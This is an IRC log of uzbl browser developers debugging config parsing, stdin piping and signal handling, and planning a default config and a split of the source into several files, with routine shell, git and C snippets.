13:28 < Dieterbe> yeah with my personal conf it works, but not with sampleconfig-dev
13:28 < rob|> works for sampleconfig-dev, too
13:29 < Dieterbe> weird.. i have to write the set command to the pipe to make it work
13:33 < rob|> oh wait, tested incorrectly
13:34 < rob|> i know why it doesn't work
13:34 < rob|> replace the tabs with spaces in the set line
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13:36 < Dieterbe> that's better
13:37 < DuClare> Okay, I have a little problem..
13:38 < rob|> ?
13:40 < DuClare> Basically, I'd like to replace some one-line scripts stored in files with spawn calling bash directly, using -c for the body.. It works, expect when some var is set to NULL.  The '' works when they're passed to a script, but bash drops them so the command in -c doesn't get them, so the positional params get displaced if something is missing
13:41 < DuClare> Now, there's this thing that if fifo_dir is not set, then the positional parameter is '(null)' rather than ''.  Can I use this for the others as well?
13:42 < DuClare> Others = config_file
13:43 < DuClare> This'd make things more consistent without breaking anything but old scripts that check for empty string rather than "(null)" :)
13:44 < Dieterbe> if you want your script to receive an empty argument, i think you need to call bash with something like "''"
13:44 < DuClare> Dieterbe, I can't do that
13:44 < DuClare> Dieterbe, It's done by run_command_async
13:45 < DuClare> (Which I renamed to run_command and merged with run_command_sync)
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13:50 < Dieterbe> huh.. merged them? why?
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13:51 < DuClare> Dieterbe, Because the only difference between them is g_spawn_command_line_(sync|async) and the args
13:51 < Dieterbe> well i'm curious to see your implementation
13:52 < DuClare>     if (sync) {
13:52 < DuClare>         result = g_spawn_command_line_sync (to_execute->str, stdout, NULL, NULL, NULL);
13:52 < DuClare>     } else result = g_spawn_command_line_async (to_execute->str, NULL);
13:54 < Dieterbe> i see
13:58 < DuClare> The (null) fix isn't actually needed, though I'd use it anyway for consistency
13:59 < DuClare> Or, alternatively, remove the (null)s that come from unset fifo & socket paths
14:00 < DuClare> It's kinda odd that one has to check if $1 is empty whereas for $4 and $5 you check for "(null)"
14:03 < DuClare> Okay, now I can do this:
14:03 < DuClare> bind O          = spawn bash -c 'echo "keycmd o$6" > $4' spacer
14:06 < Dieterbe> DuClare: i'm okay with using empty strings instead of (null)
14:11 < ludovico_> <.quit
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14:15 < Dieterbe> DuClare , rob| now with the sample scripts, it support dmenu-vertical from aur, and if detected you can also match on date/page title/tags for load_url_from*
14:17 < rob|> oh, nice. i guess i need to install that dmenu
14:18 < rob|> btw, vimperator does switch automatically to insert mode if a input widget is focused, guess we could do that too
14:19 < DuClare> rob|, If you figure out how to do that
14:21 < oxmoz_> guys, did you noticed that killing uzbl in another way than closing it with ZZ binding leaves the socket file in /tmp/? so you can't run uzbl again with the name instance name
14:21 < DuClare> Yup
14:21 < oxmoz_> is it normal or does it need work?
14:21 < DuClare> Well, I guess we could catch sigterm and do cleanup
14:22 < oxmoz_> I'd be glad to look at the code for this, that'd be my first contribution
14:22 < DuClare> But you shouldn't really expect apps to clean up nicely if you just go about killing them..
14:22 < oxmoz_> yeah but it should at least cleanly closes when we sigterm it
14:22 < DuClare> Sure
14:23 < DuClare> Clone Dieterbe's stuff on github and start hacking if you like.. :)
14:23 < oxmoz_> okay let's go
14:26 < rob|> DuClare: we already catch sigterm
14:27 < DuClare> Oh?
14:27 < DuClare> But we don't clean up?
14:27 < DuClare> Hmm
14:27 < DuClare> We
14:27 < DuClare> do
14:27 < oxmoz_> I just noticed that sigterm is catched, in the code, but sigint is missing
14:27 < DuClare> oxmoz_, Are you sure you're killing with sigterm..
14:29 < rob|> static void
14:29 < rob|> catch_sigterm(int s) { (void) s; clean_up();
14:29 < rob|> }
14:29 < DuClare> Yup
14:30 < Dieterbe>  oxmoz_> I just noticed that sigterm is catched, in the code, but sigint is missing <--sigint? what would we need to do on that?
14:30 < oxmoz_> when you ctrl-c?
14:31 < Dieterbe> ctrl-c = sigterm afaik
14:31 < oxmoz_> nope
14:31 < oxmoz_> it's sigint
14:31 < oxmoz_> http://en.wikipedia.org/wiki/SIGINT_(POSIX)
14:32 < Dieterbe> hmm you're right
14:32 < Dieterbe> well this is a oneline fix
14:32 < oxmoz_> sure
14:32 < Dieterbe> there, fixed it :)
14:34 < rob|> Dieterbe: dmenu-vertical+scripts are very cool indeed!
14:34 < Dieterbe> hmmm this is weird. i don't even need to catch sigint
14:34 < Dieterbe> oh, nm
14:39 < Dieterbe> rob|: if dmenu-vertical would support copypaste and a few shortcuts to go to begin/end of input buffer, it would be almost perfect :)
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14:45 < github> uzbl: Dieter Plaetinck experimental SHA1-64a4f8d
14:45 < github> catch sigINT
14:45 < github> http://bit.ly/iXSJ6
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14:57 < rob|> http://omploader.org/vMW9vdg  <-- it's becoming better and better :)
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15:01 < Dieterbe> rob|: that's just screenwide and a bit different colors?
15:02 < rob|> yes, colors and position
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15:04 < rob|_> just one thing, if you type in a utl that is not in the list your script will fail. i guess it would be better to just send that string to uzbl
15:06 < rob|_> <-- shower, bbl
15:07 < Dieterbe> i'll have a look at that
15:08 < DuClare> Eww...
15:09 < DuClare> How on earth can I cat the output of two commands and pass it to uzbl via stdin? o_O
15:09 < DuClare> Erm
15:09 < DuClare> File + command
15:10 < Dieterbe> (cat filename; command) | uzbl
15:10 < DuClare> echo "fuu" | cat file - > f  gives expected results but piping it to uzbl instead of redirecting to f gives uhh..
15:10 < DuClare> Hm
15:10 < Dieterbe> () is a subshell
15:11 < DuClare> Nope, doesn't work
15:11 < DuClare> uzbl doesn't get the config
15:13 < DuClare> Is this related to the g_io stuff?
15:13 < Dieterbe> this really should work
15:13 < Dieterbe> i did it like that plenty of times
15:14 < DuClare> Uhhhh
15:14 < DuClare> Doesn't work here .. never worked
15:14 < Dieterbe>  ( cat a; echo moo ) | rev | tac -
15:14 < Dieterbe> when i put some random strings in a, this test works fine
15:14 < Dieterbe> which shell are you using?
15:14 < DuClare> zsh and bash
15:15 < DuClare> Yes, the test works
15:15 < DuClare> But with uzbl it doesn't
15:15 < Dieterbe> well then there must be a bug in uzbl
15:15 < Dieterbe> because the stdout of the entire subshell will go to stdin of the next one
15:15 < DuClare> Yep
15:15 < DuClare> 16'13'46 < DuClare> Is this related to the g_io stuff?
15:17 < Dieterbe> yeah we use g_io for reading stdin
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15:20  * barrucadu returns having eaten
15:20 < barrucadu> So, what did I miss?
15:24 < Dieterbe> read your backlog, lazy b** :P
15:24 < barrucadu> I have :p
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15:33 < oxmoz_> Dieterbe: I pushed three small commits, if you want to take a look http://git.fensalir.fr/?p=dleone/uzbl.git;a=shortlog;h=refs/heads/dleone
15:36 < DuClare> oxmoz_, http://github.com/DuClare/uzbl/commit/2c8fee29fdb81dfbaa77bfd85368a479511f22d3 :]
15:36 < oxmoz_> well okay, I'm working on Dieterbe's repos I can't check every repos :/
15:36 < DuClare> Yup
15:37 < DuClare> Dieterbe, I pushed my keycmd stuff
15:37 < DuClare> But I really really need to figure out this stdin thing .. :|
15:38 < oxmoz_> DuClare: does someone currently working on the fact that starting uzbl without config file would result in key strokes editing the titlebar?
15:38 < Dieterbe> :))
15:38 < Dieterbe> oxmoz_: let me guess, you don't see a statusbar?
15:39 < oxmoz_> yes
15:39 < Dieterbe> if the statusbar is turned off, you see the current command in the window title
15:39 < oxmoz_> oh, hmm
15:40 < oxmoz_> well there's a problem
15:41 < oxmoz_> if you start uzbl without config file, because you want to quickly browse a page without fancy stuff in your software, you should know the command to type to get to the insert_mode? and since no keybindings are set, how can you go back to command mode then?
15:41 < Dieterbe> i like this patch http://git.fensalir.fr/?p=dleone/uzbl.git;a=commitdiff;h=5116cea1c53b5c43abc72f775e1ea17c329ed1e4 , rob|_ does it look okay for you? we already include unistd.h anyway
15:41 < oxmoz_> the current file_exists does not work anyway
15:41 < Dieterbe> why not?
15:41 < oxmoz_> you can't fopen socket files like that
15:41 < oxmoz_> just try it
15:42 < oxmoz_> I have a uzbl_fifo_test in /tmp/
15:42 < Dieterbe> oxmoz_: well, if you don't load a config you can't do much else then viewing 1 page
15:42 < oxmoz_> if I run uzbl -n test
15:42 < oxmoz_> that will freeze
15:43 < oxmoz_> Dieterbe: shouldn't be like a failsafe configuration at least? because most of people will try uzbl by itself, so if they can't do anything...
15:44 < DuClare> Will most people try uzbl by itself?  Will they not realize they have to configure it?
15:45 < oxmoz_> actually, yes, I guess people are expecting a default behaviour provided with their software, that they can override if they wish
15:45 < DuClare> Have you ever run a shell without configuration?
15:45 < oxmoz_> if someone's curious about uzbl, he will install it then run it, if he has to spend time in configuring stuff I think he will get up, but that's my opinion ;)
15:45 < oxmoz_> DuClare: no, but a default configuration is always provided with shell ;)
15:46 < DuClare> So is with uzbl.  examples/config/sampleconfig-*
15:46 < DuClare> configs
15:46 < DuClare> It's a matter of using it
15:46 < Dieterbe> well, we have actually discussed this before, but iirc we couldn't really figure out a way to do it cleanly, without compromises
15:46 < DuClare> If somebody gives up on a browser because he has to tell it to use a config, then he's unlikely to be happy with uzbl anyway
15:46 < Dieterbe> (eg we don't want to write things in ~ without user permission)
15:47 < oxmoz_> DuClare: the thing is, sampleconfig is a sample one, not a default one, I think that running "uzbl" should opens an usable software, even if the user did not copied the sample conf somewhere
15:48 < barrucadu> We could check if /usr/share/uzbl/examples/configs/sampleconfig(-dev) exists, and load that if nothing is specified
15:49 < DuClare> barrucadu, And what if you don't want it to load it?
15:49 < oxmoz_> that's what I had in mind yes
15:49 < Dieterbe> no! that's not compliant with the FHS
15:49 < oxmoz_> alright thendie
15:49 < oxmoz_> then Dieterbe*
15:49 < Dieterbe> i also like the idea of making uzbl more usable by default, but i don't want to hardcode default configs in the code
15:49 < DuClare> alright then, die!
15:49 < DuClare> ^^:
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15:49 < oxmoz_> that's fine by me Dieterbe
15:49 < Dieterbe> and i also don't really like the idea of storing files in /etc or in ~ without the user/sysadmins permission
15:50 < oxmoz_> I think that an user should at least go and get back from the insert_mode, when any conf is loaded
15:50 < Dieterbe> you mean: when no conf is loaded?
15:50 < oxmoz_> yes sorry
15:50 < Dieterbe> yeah ok, but how?
15:50 < DuClare> Can I ask you: why?
15:51 < DuClare> How does one get into insert mode if he has no config?  If he uses --help and finds -u, then he might also find -c ...
15:51 < oxmoz_> DuClare: because it's not usable otherwise :/ I mean filling forms is a normal behaviour when surfing the web, no?
15:51 < DuClare> How do you find a form if you can't navigate
15:52 < oxmoz_> well you can with mouse:\
15:52 < DuClare> How?
15:52 < Dieterbe> DuClare has a point here
15:52 < oxmoz_> guys
15:52 < oxmoz_> if I run uzbl --uri "someurl"
15:52 < oxmoz_> I can navigate
15:52 < oxmoz_> using the mouse
15:52 < DuClare> Okay, so you used --help to learn about --uri, which means you also know about --config..
15:53 < DuClare> Simply adding a binding which leaves insert mode isn't enough to make it usable..
15:53 < Dieterbe> look it's very simple.  i'm okay with making uzbl do more by default, but i don't want to hardcode defaults, i don't want to write stuff in ~ or /etc without the user/sysadmins permission, and I want to honor the FHS.  If you know a way to do it, keeping my requirements in mind, i'm all yours
15:55 < DuClare> Didn't we hardcode reset_command_mode :<
15:55 < oxmoz_> fair enough guys, it was just a suggestion, okay with DuClare's point, even if I still consider that consulting the --help to now how to load an URI is different that digging the configuration stuff to add a binding, it's like if lynx were coming with no behaviour at all by default, even if you have to --help it to check how to give it an uri
15:55 < oxmoz_> s/now/know/
15:55 < oxmoz_> s/that/than/
15:56 < Dieterbe> DuClare: yeah, but a boolean _needs_ a value. keeping it NULL wouldn't make much sense
15:56 < DuClare> You don't need to dig configuration stuff.  You pass it one filename with -c ...
15:57 < DuClare> Dieterbe, I've asked once, and I ask again: how are the other ints initialized?
15:58 < Dieterbe> DuClare: not sure
15:58 < DuClare> gboolean is just an int, and FALSE is 0
15:59 < Dieterbe> so.. do you have an idea to make something better?
15:59 < DuClare> So if something initializes our structures to zero, then all boolean flags default to false.
16:00 < Dieterbe> ok
16:01 < DuClare> We could rename reset_command_mode to keep_insert_mode and let it default to 0 :)  But now I'm worried about the initialization: are we doing it at all?
16:02 < Dieterbe> doing what?
16:03 < DuClare> Setting the structures' contents to zero, if it's not automatic?  Is it?
16:03 < Dieterbe> no, not really
16:04 < oxmoz_> when the fifo and socket files already exist, should uzbl use them as is, or should we delete and recreate them?
16:05 < Dieterbe> it should not touch them and not use them
16:05 < Dieterbe> because in that case, they should belong to another instance
16:05 < oxmoz_> and if the files remain because of a crash or something?
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16:06 < oxmoz_> warning the user that he should delete them?
16:06 < rob|> oh
16:06 < rob|> did my line come through?
16:06 < rob|> well
16:06 < rob|> well, my suggestions is: split uzbl.c into more files (i guess we want to do this anyways). have a defaults.h where we set some good defaults. this has 2 advantages - 1) we provide good default 2) the user can edit defaults.h and gets a minimal uzbl without any further dependencies
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16:07 < Dieterbe> oxmoz_: yeah something like that. i'm not 100% sure what exactly we do
16:07 < oxmoz_> Dieterbe: ok, thanks
16:08 < Dieterbe> rob|: hmm.. yeah i guess hardcoding in a few defaults isn't gonna kill anyone
16:09 < rob|> right, especially if you're gonna keep them in a separate file
16:10 < Dieterbe> but the default "built-in" config should not have handlers i think (cause there's really no good place to store history/downloads/bookmarks without a "real" config anyway)
16:11 < DuClare> Only scrolling, insert<->command, goto url
16:11 < DuClare> And a status?
16:11 < DuClare> I don't know
16:11 < oxmoz_> guess the status is not really needed
16:11 < oxmoz_> but I'm okay with scrolling, insert<->command and url, that's what I was trying to say earlier ;)
16:12 < DuClare> rob|, Can we unbind things?
16:12 < rob|> i guess we should provide a minimal status bar (as we do now)
16:12 < DuClare> I don't want to start unbinding defaults..
16:12 < rob|> DuClare: kinda, we can set a binding to an empty string
16:12 < DuClare> Right
16:13 < DuClare> Well, do whatever you like
16:14 < Dieterbe> okay this is gonna be fun
16:14 < rob|> i mean a status that holds only the mode indicator and KEYCMD is nice as the user can actually see the commands he types :)
16:14 < Dieterbe> and make some people happy :)
16:14 < DuClare> rob|, Any ideas on this stdin issue?  Uzbl selfishly ignores the lines if I do (cat ~/cfg; echo "additional configuration") | ./uzbl
16:14 < Dieterbe> yeah, and without overriding the gtk theme
16:16 < Dieterbe> DuClare, rob| can you guys push your current stuff?
16:16 < rob|> DuClare: not sure, i'd guess uzbl receives EOF after cat or something
16:16 < Dieterbe> it's probably wise that i merge everything in before we start splitting
16:16 < rob|> this needs further investigation
16:16 < Dieterbe> rob|: no, not when theyare in a subshell
16:17 < DuClare> Dieterbe, My stuff should be up to date
16:18 < Dieterbe> k
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16:22 < Dieterbe> merging...
16:23 < DuClare> "..." as in "taking care of conflicts"?  ;)
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16:26 < Dieterbe> yeah
16:26 < Dieterbe> DuClare: 
16:26 < Dieterbe> -    update_title();
16:26 < Dieterbe> -    if (key_ret) return (!uzbl.behave.insert_mode);
16:26 < Dieterbe> -    return TRUE;
16:26 < Dieterbe> why is that removed?
16:27 < Dieterbe> from key_press_cb
16:27 < DuClare> Umm, it should be there.  In a different spot perhaps
16:28 < Dieterbe> hmm in parse_cmd_line if CMD you do this
16:29 < DuClare> No, it should be in key_press_cb
16:29 < Dieterbe> never mind
16:29 < DuClare> AND in parse_cmd_line
16:29 < DuClare> Last three lines before return in the callback
16:30 < Dieterbe> look at http://rafb.net/p/ar3GWC61.html
16:30 < Dieterbe> line 128 and 201
16:30 < Dieterbe> git must be really confused :/
16:31 < DuClare> Look at line 161 :)
16:37 < DuClare> I'll merge back when you're done..
16:38 < DuClare> rob|, Do you have code for font sizes or do I do it?
16:39 < rob|> you mean default font size within the page?
16:39 < DuClare> Yep, and minimum
16:40 < rob|> nope, don't have any code for that
16:40 < DuClare> Ok, so I'll do it
16:40 < rob|> alright
16:41 < Dieterbe> rob|: anything from you i still need to merge?
16:41 < rob|> Dieterbe: no, haven't coded anything today
16:42 < Dieterbe> ok
16:42 < Dieterbe> well then i'm done merging
16:42 < Dieterbe> i pushed it all
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16:42 < Dieterbe> rob|: do you feel like doing the splitup thing?
16:43 < rob|> sure, though i won't do it today. i.e. if you guys want to have it as soon as possible just go for it
16:43 < DuClare> Hi jouz
16:44 < Dieterbe> okay, i just want to divide the tasks a bit
16:44 < DuClare> jouz, It looks like the hint thing still has some bugs as the numbers don't always work.. ;x
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16:45 < Dieterbe> todo list: readme markdown formatting (i can do that), COMMAND SYNTAX section in readme ( either rob| or DuClare should do this), splittin up into files / default config (who?)
16:46 < Dieterbe> and i also think it's important to have the state variable (loading/pending/viewed) which we can then use in the multiple instances management
16:47 < barrucadu> I could do something… :)
16:47 < Dieterbe> barrucadu: first of all, merge from me, and try to get the diff between you and me as small as possible (no useless changes), then i can pull in your stuff
16:48 < jouz> DuClare: i know, there are some difficultys. But im tired of debugging/reformatting one-line-code, and i currently have not much spare time to implement the script-loading-thingy myself :(
16:49 < Dieterbe> jouz: do you know a bit of C ?
16:50 < DuClare> Dieterbe, Well, as I said, I'm not going to write a config for my grandma because that's of zero benefit to me.. I'm not feeling particularly enthusiastic about writing defaults, so I'll let the others do whatever they want to do with it.  I won't touch it :)
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16:51 < jouz> Dieterbe: I learned C by hacking a bit through the early uzbl code when it was released. (It was enough to make that scrolling work :D). But i haven't followed the uzbl.c much lately, and im getting lost in the undocumented code :(
16:52 < Dieterbe> jouz: well, it's just that reading a script from a file is just reading in a file and calling the execute_script function we already use.  it's simple to implement
16:52 < Dieterbe> jouz: just grep for "script" and add script_file or something where appropriate
16:52 < Dieterbe> DuClare: please don't forget if you change the syntax, to also change the sample scripts/configs
16:52 < DuClare> Yup
16:53 < Dieterbe> the command to change uri (and maybe more?) in sampleconfig-dev are not recognized anymore
16:54 < DuClare> Dieterbe, Works just fine
16:55 < Dieterbe> DuClare: did you test loading bookmarks, from history etc?
16:55 < jouz> Dieterbe: is it that simple? because in that case, the * or _ parameter wont happen to replace the %s in the file?!
16:55 < DuClare> Those I did not
16:55 < DuClare> Dieterbe, But I already fixed my clipboard script so I'll fix the rest as well
16:56 < Dieterbe> jouz: i don't think so
16:56 < Dieterbe> okay i'll do the splitup in multiple files then
16:56 < Dieterbe> unless barrucadu, you want me to merge in your stuff first?
16:57 < rob|> Dieterbe: what layout do you have in mind for the split?
16:58 < Dieterbe> rob|: i don't know yet :) everything that more or less can be separated into separate "groups".. like fifo/stdin/socket, etc
16:58 < DuClare> Everything?
16:58 < DuClare> :x
16:58 < rob|> hmm
16:58 < DuClare> Are you sure it's worth it cluttering everything like that?
16:58 < rob|> i think we should discuss that first
16:59 < DuClare> IMHO 10 little files are by far more annoying to manage than a couple larger ones
16:59 < rob|> i'd say: everything webkit/gui related -> gui.c, everything command/protocol related -> proto.c, things we use often -> utils.c
17:00 < barrucadu> Dieterbe: I've just got your stuff merged, it was a bit of a pain but now I'll look at the diff
17:00 < rob|> then one main.c or uzbl.c that glues those together and contains main()
17:00 < Dieterbe> fifo/stdin/socket in a file, all the parsing of commands etc in a file,  layout/statusbar stuff in a file,
17:01 < rob|> hmm
17:01 < Dieterbe> + what you said
17:01 < Dieterbe> barrucadu: k then i'll wait a bit
17:08 < barrucadu> Dieterbe: I think I've reduced the diff as much as I can
17:09 < barrucadu> I'll just commit to github
17:09 < barrucadu> Done
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17:14 < github> uzbl: Dieter Plaetinck experimental SHA1-85e4068
17:14 < github> markdown layout
17:14 < github> http://bit.ly/18dJy9
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17:17 < Dieterbe> barrucadu: you merged my experimental, right?
17:17 < barrucadu> Dieterbe: yes
17:17 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff bar/experimental | wc -l
17:17 < Dieterbe> warning: refname 'bar/experimental' is ambiguous.
17:17 < Dieterbe> 3726
17:17 < Dieterbe> o_O
17:17 < DuClare> Nice.. :V
17:17 < DuClare> Perhaps you should do the merge the other way around?
17:17 < barrucadu> 16:17:44 % git diff dieter/experimental | wc -l
17:17 < barrucadu> warning: refname 'dieter/experimental' is ambiguous.
17:18 < barrucadu> 337
17:18 < DuClare> Dieterbe merges barrucadu's?
17:18 < Dieterbe> barrucadu: that's .. weird
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17:19 < Dieterbe> barrucadu: i think you should do : git remote rm dieter, and then add me again
17:19 < Dieterbe> i sometimes need to do that
17:20 < barrucadu> ok
17:20 < Tel_Janin> is there anything like a users guide for uzbl?
17:20 < DuClare> Tel_Janin, There's readme and faä
17:20 < Dieterbe> Tel_Janin: yes. we have plenty of docs..
17:20 < DuClare> faq
17:22 < barrucadu> Dieterbe: Now it's reporting a diff of 0 lines…
17:22 < Dieterbe> barrucadu: that's weird
17:22 < Dieterbe> barrucadu: can you show me the exact commands you did?
17:24 < barrucadu> git remote rm dieter
17:24 < barrucadu> git branch -D dieter/experimental
17:24 < barrucadu> git remote add dieter git://github.com/Dieterbe/uzbl.git
17:24 < barrucadu> git checkout -b dieter/experimental
17:24 < barrucadu> git pull dieter experimental
17:24 < barrucadu> git checkout experimental
17:24 < Dieterbe> try just this:
17:24 < Dieterbe> git remote rm dieter
17:25 < Dieterbe> git remote add -f dieter git://github.com/Dieterbe/uzbl.git
17:25 < Dieterbe> git diff dieter/experimental
17:25 < barrucadu> Done
17:25 < barrucadu> 16:25:32 % git diff dieter/experimental | wc -l
17:25 < barrucadu> warning: refname 'dieter/experimental' is ambiguous.
17:25 < barrucadu> 0
17:26 < jouz> Dieterbe: sorry but i still dont get where you expect the %s to be replaced in the file i read. I made a little test code, loading usual scripts works fine already, but if i try something like "f_ = script_file alert.js", i the %s is not replaced. (alert.js looks like: alert('%s');
17:27 < DuClare> jouz, What are you expecting to do with that?
17:27 < jouz> ?
17:27 < DuClare> Oh
17:27 < DuClare> Right
17:27 < DuClare> That's a problem
17:28 < jouz> I dont expect that to do anything actually, because i couldn't imagine how it would work, but its kind of necessary
17:28 < DuClare> Yeah, I realized
17:29 < jouz> we would have to split the
17:29 < DuClare> rob|, Was it awmenu or vertical dmenu that I saw in your shots?
17:29 < jouz> *param, and then do some magic
17:29 < rob|> DuClare: dmenu-vertical
17:32 < Dieterbe> barrucadu: hmm then i don't know.. can you search a bit? checkout dieter/experimental and compare if it looks the same as on github (eg the AUTHORS file should have email addresses a bit obfuscated now)
17:32 < DuClare> Or reset and let diet merge .. ;)
17:33 < Dieterbe> jouz: do you _want_ to have something replaced?
17:33 < DuClare> Dieterbe, Yes
17:33 < DuClare> Dieterbe, The hint script needs user input
17:37 < jouz> Dieterbe: exactly, you want have things happen with user-input? so now we do f_ = alert('%s') to alert "Hello" if you type fhello[return]. How would you do that with a file that is loaded?
17:38 < Dieterbe> oh, well i was just thinking the %s replacement was only needed for things inside the config itself
17:38 < barrucadu> Dieterbe: Well, I'm confused…
17:38 < Dieterbe> i though big scripts like the link hinting don't need %s replacement
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17:39 < barrucadu> Dieterbe: If I download your things from github manually and run diff, there are differences. But git diff reports nothing
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17:41 < Dieterbe> barrucadu: that's weird
17:43 < jouz> Dieterbe well its quite vital for them. One could try to capture the keys in JS. The first solution was just so much cleaner and easier. (apart from having 1000+ chars in one line ;) )
17:44 < rob|> well, regarding scripts. we could read the scripts line by line, do the replacements and store them in C string
17:44 < rob|> *in a
17:44 < DuClare> I quit using my clipboard script btw.  Now am handling it directly in the config.  :)
17:44 < DuClare> http://hikari.serveftp.org/pc2.conf
17:45 < jouz> rob|: yeah thats probably not the worst solution, since you read the file line by line anyways...
17:46 < rob|> DuClare: whoa, that single line scripts looks just ridiculous - we clearly need something better
17:46 < DuClare> rob|, I find them nicer than a clutter of .sh files with single line scripts. :>
17:47 < DuClare> But they could be better, sure
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17:47 < github> uzbl: Dieter Plaetinck experimental SHA1-5b65d63
17:47 < github> markdown format (almost)
17:47 < github> http://bit.ly/18gd8D
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17:48 < rob|> DuClare: nono, i mean the js binding
17:48 < DuClare> Oh ...
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17:48 < rob|> f*
17:50 < DuClare> Well, I think the sh stuff could have a shortcut too.
17:50 < DuClare> Specifically the spacer is fugly
17:50 < rob|> right, didn't look at the code, what is the spacer for?
17:50  * barrucadu wonders what the traffic on uzbl.org is like
17:51  * Dieterbe slaps barrucadu . you still need to give me access on google analytics :)
17:51 < barrucadu> Oh, right, sorry :p
17:52 < DuClare> rob|, Hmm.  It's actually not really neccessary, but bash sort of shifts the positional parameters by when you use -c as it numbers them starting with $0 (whereas normally when you call scripts, positionals start from $1)
17:53 < rob|> ah, i see
17:53 < rob|> hmm
17:53 < barrucadu> Dieterbe: I'm guessing dieter@plaetinck.be is the email address of your google account
17:54 < DuClare> I'd like to add a shortcut like bind fuu = sh '..script' customargs, which in its long form would be spawn sh -c '...script' spacer customargs
17:55 < barrucadu> Dieterbe: You now have access :)
17:55 < DuClare> If nobody opposes it..
17:56 < barrucadu> DuClare: If you do that, make the shell used customisable
17:56 < DuClare> Yep
17:56 < Dieterbe> barrucadu: no, my google account is : my first name, my last name at gmail.com
17:56 < barrucadu> Dieterbe: ok
17:58 < barrucadu> Dieterbe: done
17:59 < barrucadu> Ooh, you have last.fm… "Your musical compatibility with Dieter_be is Very High" :D
18:00 < Dieterbe> cool
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18:00 < github> uzbl: Dieter Plaetinck experimental SHA1-32090a2
18:00 < github> readme cleanup
18:00 < github> http://bit.ly/18z6tI
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18:02 < barrucadu> Hmm, the website looks a bit messed up, on my screen resolution at least…
18:03 < Dieterbe> barrucadu: i added a menu item, maybe that's why?
18:03 < barrucadu> The links are too wide to fit on one row, I'll shrink them a bit
18:03 < barrucadu> Fixed
18:04 < DuClare> Dieterbe, It hilights Get when readme is selected
18:04 < Dieterbe> barrucadu: wtf! uzbl.org has quite some traffic :/. my personal website is like 60hits/day, and it exists for a few years already 
18:04 < barrucadu> DuClare: I'll fix it
18:04 < Dieterbe> uzbl.org easily does 150 a day :P
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18:05 < barrucadu> Website fixed
18:06 < barrucadu> 12.23% of visitors use "uzbl", and 0.31% use "Uzbl" :p
18:06  * barrucadu checks ~/.config/uzbl/config
18:06 < barrucadu> That 0.31% will be me then <.>
18:08 < Dieterbe> oh, right. i think we cause quite some hits ourselves by testing :P
18:09 < barrucadu> Maybe :p
18:12 < barrucadu> "…But if you don't like modal interfaces, you can set alwaysinsertmode and configure a modkey to execute the commands. (emacs style)…" always_insert_mode seems to be getting messed up by the markdown parser
18:12 < barrucadu> It's displaying with no spaces, with the "insert" italicised
18:13 < Dieterbe> k let's see
18:14 < Dieterbe> oh yeah.. that
18:14 < barrucadu> This also happens in "$4 uzblfifo-filename $5 uzblsocket-filename"
18:14 < Dieterbe> not anymore 
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18:14 < barrucadu> :)
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18:16 < github> uzbl: Dieter Plaetinck experimental SHA1-95df3e8
18:16 < github> layout fixes
18:16 < github> http://bit.ly/tbETk
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18:16 < Dieterbe> barrucadu: so did you figure out the git merge problem?
18:18 < barrucadu> Dieterbe: nope
18:19 < Dieterbe> try harder :P
18:19 < barrucadu> :p
18:21 < Dieterbe> DuClare: did you fix the "cmd uri" problem in the sample scripts?
18:21 < DuClare> Did
18:23 < Dieterbe> aha good
18:23 < barrucadu> I've just added a favicon to the website :)
18:23 < barrucadu> Not that we'll eve see it in Uzbl… :p
18:23 < barrucadu> *ever
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18:25 < DuClare> Meh
18:25 < Dieterbe> woohoo, history/bookmark stuff works fine again
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18:26 < github> uzbl: DuClare experimental SHA1-c738a2d
18:26 < github> Adapt clipboard.sh for new cfg system
18:26 < github> http://bit.ly/446uZ
18:26 < github> uzbl: DuClare experimental SHA1-d0824de
18:26 < DuClare> I'm sorry I broke it ^^;
18:26 < github> Merge commit 'diet/experimental' into experimental
18:26 < github> http://bit.ly/14TGQK
18:26 < github> uzbl: DuClare experimental SHA1-ff86e51
18:26 < github> Replace cmd with act in scripts
18:26 < barrucadu> Dieterbe: Regarding the merge problem... You could just merge from me and see what happens <.>
18:26 < github> http://bit.ly/WkFon
18:26 < github> uzbl: Dieter Plaetinck experimental SHA1-f1e6b7d
18:26 < github> Merge commit 'duc/experimental' into experimental
18:26 < github> http://bit.ly/EjfyJ
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18:26 < Dieterbe> barrucadu: you mean like.. merge a 3700lines diff?
18:27 < barrucadu> Dieterbe: It was only 337 lines for me last time it reported something useful :p
18:27 < Dieterbe> well, because your dieter/experimental was way too old
18:27 < DuClare> How would it go if barrucadu resets and Dieterbe merges barrucadu's..
18:29 < Dieterbe> the thing is, i only want to merge in things worth merging, but lately barrucadas tree has had a few "useless" things, which should be cleaned up again
18:29 < DuClare> Uh, right
18:29 < Dieterbe> so the only good approach is, bringing the diff down to what's really only good for merging
18:29 < Dieterbe> and then, merging
18:30 < Dieterbe> or if barrucadu deciceds he wants to start over and re-integrate his patches again (that may be less work), that's fine for me too
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18:31 < barrucadu> Dieterbe: I'll figure out what I've changed and then start again then
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18:33 < DuClare> rob|, By the way, I think we have some crap on overwriting old binds.
18:35 < DuClare> rob|, I have a bind which reloads the cfg (i.e. cats to fifo).  I've had at least 2 segfaults after changing the cfg and telling to reload.
18:35 < DuClare> s/after/when/
18:38 < Phillemann> Why does uzbl look in "XDG_CONFIG_HOME" for the configuration file? I'd suggest looking in HOME/.uzbl.
18:38 < DuClare> Phillemann, No
18:39 < DuClare> Phillemann, XDG is amazing
18:39 < Phillemann> What's XDG?
18:39 < DuClare> And looking in ~/.uzbl means more dotfiles..
18:39 < DuClare> Phillemann, A freedesktop standard
18:39 < DuClare> Phillemann, http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
18:41 < Phillemann> Hmmmm, I see that this standardization kinda makes sense.
18:47 < DuClare> Dieterbe, Somebody broke Get @ website.  file_get_contents(../uzbl/docs/INSTALLING) [function.file-get-contents]: failed to open stream: No such file or directory in /home/uzbl/uzbl.org/get.php on line 40
18:50 < Phillemann> Will you implement tabbing? Or should the WM do that, in your opinion?
18:51 < DuClare> WM
18:52 < Phillemann> How do I insert text into a text area?
18:52 < DuClare> Go into insert mode
18:54  * barrucadu is an idiot
18:54 < barrucadu> I just typo'd a command and lost my changes
18:54 < barrucadu> argh
18:55 < barrucadu> Oh, no, I can recover them
19:04 < jouz> rob|: /quit
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19:14 < barrucadu> Dieterbe: I've got my changes working in a fresh copy of your experimental branch, the git should be pretty small now: http://github.com/Barrucadu/uzbl/commit/bed720965cc87ec29da2e407ed1d72a54a6b0017
19:14 < barrucadu> *the diff
